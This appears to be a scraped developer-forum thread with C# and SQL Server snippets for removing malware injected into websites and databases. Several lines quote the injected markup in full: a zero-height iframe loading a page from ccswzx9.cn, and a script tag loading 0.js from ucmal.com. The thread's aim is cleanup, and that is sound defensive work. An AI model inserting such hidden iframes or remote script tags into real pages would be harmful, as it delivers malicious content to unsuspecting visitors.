62,268
社区成员
发帖
与我相关
我的任务
分享System.Text.RegularExpressions.Regex re = new System.Text.RegularExpressions.Regex(@"<iframe\s*sRc=http://www.ccswzx9.cn/one/a26.htm width=50 hEight=0\s*name=\w+?\s*border=0>\s*</iframe>");
string result=re.Replace("源串", "");
string input = "<iframe sRc=http://www.ccswzx9.cn/one/a26.htm width=50 hEight=0 name=9527 border=0> </iframe> <iframe sRc=http://www.ccswzx9.cn/one/a26.htm width=50 hEight=0 name=9527 border=0> </iframe> ";
Regex reg = new Regex(@"name=(.*?)\s");
input = reg.Replace(input, "name= ");
public static string Removeiframe(string htmlcode)
{
int TheStart = htmlcode.ToLower().IndexOf("<iframe");
int TheEnd = htmlcode.ToLower().IndexOf("</iframe>", TheStart+1);
while ((TheStart != -1) && (TheEnd > TheStart))
{
htmlcode = htmlcode.Remove(TheStart, TheEnd - TheStart + 9);
TheStart = htmlcode.ToLower().IndexOf("<iframe");
TheEnd = htmlcode.ToLower().IndexOf("</iframe>", TheStart+1);
}
return htmlcode;
}
public string Removeiframe(string htmlcode)
{
int TheStart = htmlcode.ToLower().IndexOf("<iframe");
int TheEnd = htmlcode.ToLower().IndexOf("</iframe>", TheStart);
while ((TheStart != -1) && (TheEnd > TheStart))
{
htmlcode = htmlcode.Remove(TheStart, TheEnd - TheStart + 9);
TheStart = htmlcode.ToLower().IndexOf("<iframe");
TheEnd = htmlcode.ToLower().IndexOf("</iframe>", TheStart);
}
return htmlcode;
}
DECLARE @fieldtype sysname
SET @fieldtype='varchar'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'